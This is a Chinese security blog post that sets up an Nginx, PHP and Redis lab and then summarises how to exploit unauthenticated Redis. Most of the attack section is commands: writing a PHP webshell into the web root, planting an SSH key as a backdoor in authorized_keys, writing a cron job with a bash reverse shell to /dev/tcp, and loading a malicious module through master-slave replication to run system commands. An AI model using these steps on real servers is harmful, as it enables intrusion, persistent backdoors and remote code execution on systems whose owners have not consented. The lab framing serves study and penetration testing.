CYH博客CYH博客

天行健,
君子以自强不息。

Redis未授权访问总结

Nginx+PHP+Redis环境搭建

环境搭建于arch,利用aur搭建的所以比较方便,系统不一样的请自行修改搭建步骤(也不难,这里记录下只是为了给下次省时间,其实主要还是改配置文件费时间,不同系统一样的)

Nginx环境搭建:

yay -S nginx

修改配置文件/etc/nginx/nginx.conf的server部分为:


server {
    listen 80;
    server_name foo.com;

    root /usr/share/nginx/html;
    index index.html index.htm index.php;

    location / {
        try_files $uri $uri/ /index.php$is_args$args;
    }

    location ~ \.php$ {
        try_files $uri =404;

        include fastcgi.conf;
        fastcgi_pass 127.0.0.1:9001;
    }
}

修改完配置文件后,启动nginx:

systemctl enable nginx.service --now

php环境搭建:

 yay -S php php-fpm

修改php-fpm配置文件/etc/php/php-fpm.d/www.conf(不同php版本该配置文件不同,具体可自行查看etc目录有关于php的目录,大概是这个形式的路径,php那里可能是php7.0之类的):[1]

pm.status_listen = 127.0.0.1:9001 #把这一行的注释取消掉,这里有可能是9000,那就把这改成9001 或者把上面nginx配置文件那里的9001改成9000

修改完配置文件后,启动php-fpm

systemctl enable php-fpm --now

redis环境搭建并运行:


wget http://download.redis.io/releases/redis-6.0.8.tar.gz
tar -xzf redis-6.0.8.tar.gz
cd redis-6.0.8
make
cd src
./redis-server

写入webshell

必要条件:

知道web目录的绝对路径拥有web目录的写入权限

思路:获取所有键值对,然后创建一个不存在的键值对,再通过修改配置文件,将该键值对写入配置文件中:


127.0.0.1:6379> keys *        #查看所有键值对
1) "mylist"
2) "myset"
3) "youset"
4) "user:001"
5) "myKey"
6) "age"
7) "user_id"
8) "mynum"
127.0.0.1:6379> config get dbfilename     #查看配置文件
1) "dbfilename"
2) "dump.rdb"
127.0.0.1:6379> config get dir             #查看当前文件名
251) "dir"
252) "/home/b0ring/WorkingSpace/tools/websecurity/vulhub/redis/redis-6.0.8/src"
127.0.0.1:6379> config set dir /usr/share/nginx/html             #设置当前目录为web目录
OK
127.0.0.1:6379> config set dbfilename 1.php                        #设置配置文件名为shell文件
OK
127.0.0.1:6379> set shell "\n<?php\n  phpinfo();\n?>\n"            #创建shell
OK
127.0.0.1:6379> save                                            #写入shell
OK


此时web目录中已经生成了1.php文件,包含php内容:

Redis未授权访问总结(图1)

访问shell:

Redis未授权访问总结(图2)

写入ssh公钥

必要条件:

知道当前用户的用户名拥有.ssh目录允许使用密钥登录

步骤:


ssh-keygen -t rsa
127.0.0.1:6379> config set dir /home/b0ring/.ssh
127.0.0.1:6379> config set dbfilename authorized_keys
127.0.0.1:6379> set backdoor "\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXyLoi1XDQtUJN2ifZfZcR0p3OT73s2ZZkOMqzSwcDGFZnTMJuR2vHbktVPWuYSAx0CmOdmkgaVDjGsn+G9e01aedRxc2lFBFMyAI2AgV/ukY5q2kU5+x7kZD3X8KEfJ0+FsDNwtnRureYCWkh9+QuD1rlGD7IuDcAkzZYUmNREnh7Bz4Of855SF5pXdotVmsNJ3O9PF94G0zCMxCMddFNWD8Ebshk3iwZ9xk9d6NnA8qO18QMjoNQBEoQVq/e1mdKVmaXW7CjKUva/aZQ7kk4SjSGmvJEsIh8nb264rX0fgpIPlpHZbn5hWhdxbT3qWwHprzI90Blwa6jqNLJV91kDDDwEXywq8RZkzdkLd8G6Rwu855uKT+hkSl49Zjj8v/XNNhboAaOgGe0sfYtbOmOdW0+FJL5ktvLt91/oFHOvgNHTMdHgo+ASM8jdsckPo1n4ZovN2QHQpohfLFhSC1PXIpwRxf5D1Om1NAeY/pPtNFwcDGPRZUx6PndRUQrcGc= b0ring@b0ring\n"
127.0.0.1:6379> save

然后就直接用私钥登录:

ssh -i backdoor b0ring@127.0.0.1

写计划任务反弹shell

必要条件:

拥有计划任务写权限

服务器上监听8000端口:

nc -lvp 8000

随后写入计划任务:


127.0.0.1:6379> config dir /var/spool/cron/
127.0.0.1:6379> config set dbfilename b0ring
127.0.0.1:6379> set backdoor "\n\nSHELL=/bin/bash\n\n*/1 * * * * bash -i >& /dev/tcp/ip/8000 0>&1\n\n"
127.0.0.1:6379> save

主从RCE

必要条件:

redis版本为 4.x或5.x(亲测6.x无此问题)

从服务器会向主服务器发出SYNC指令,当主服务器接到此命令后,就会调用BGSAVE指令来创建一个子进程专门进行数据持久化工作,也就是将主服务器的数据写入RDB文件中。在数据持久化期间,主服务器将执行的写指令都缓存在内存中。

在BGSAVE指令执行完成后,主服务器会将持久化好的RDB文件发送给从服务器,从服务器接到此文件后会将其存储到磁盘上,然后再将其读取到内存中。这个动作完成后,主服务器会将这段时间缓存的写指令再以redis协议的格式发送给从服务器。

自redis 4.x版本后,它可以自由添加模块扩展,只需启动时添加loadmodule选项,或者在启动后,可以rce的版本可从下面链接编译:


127.0.0.1:6379> MODULE LOAD /home/b0ring/WorkingSpace/tools/websecurity/vulhub/redis/redis-rce/exp.so
OK
127.0.0.1:6379> MODULE list
1) 1) "name"
  2) "system"
  3) "ver"
  4) (integer) 1
127.0.0.1:6379> system.exec whoami
"b0ring\n"

利用上述两个特点,可以使用主从同步和修改配置文件存放位置,主服务器可以向从服务器写一个恶意的so文件,添加到redis中从而rce(6.x版本无法利用是因为6.x版本redis在加载模块时会校验模块是否具有执行权限,否则不予加载),利用脚本可从此处获取。

python redis-rce.py -L 127.0.0.1 -r 127.0.0.1 -f exp.so

总结

本质上,其实这些未授权访问都是先修改redis目录和缓存文件位置,然后再保存缓存,从而通过向特定目录进行任意写操作来获取rce权限一切写操作都是覆盖的,所以实战利用过程中为了不对目标机器进行破坏,一定要先改位置再写入,然后再改回去除了主从复制,其他写操作都是有乱码的,对于Ubuntu环境,其不允许计划任务文件存在乱码,即无法再Ubuntu中使用计划任务rce

References

[1] www.conf(不同php版本该配置文件不同,具体可自行查看etc目录有关于php的目录,大概是这个形式的路径,php那里可能是php7.0之类的):: http://www.conf(不同php版本该配置文件不同,具体可自行查看etc目录有关于php的目录,大概是这个形式的路径,php那里可能是php7.0之类的):

未经允许不得转载:CYH博客 » Redis未授权访问总结
分享到: 更多 (0)

CYH博客 带给你想要内容

联系我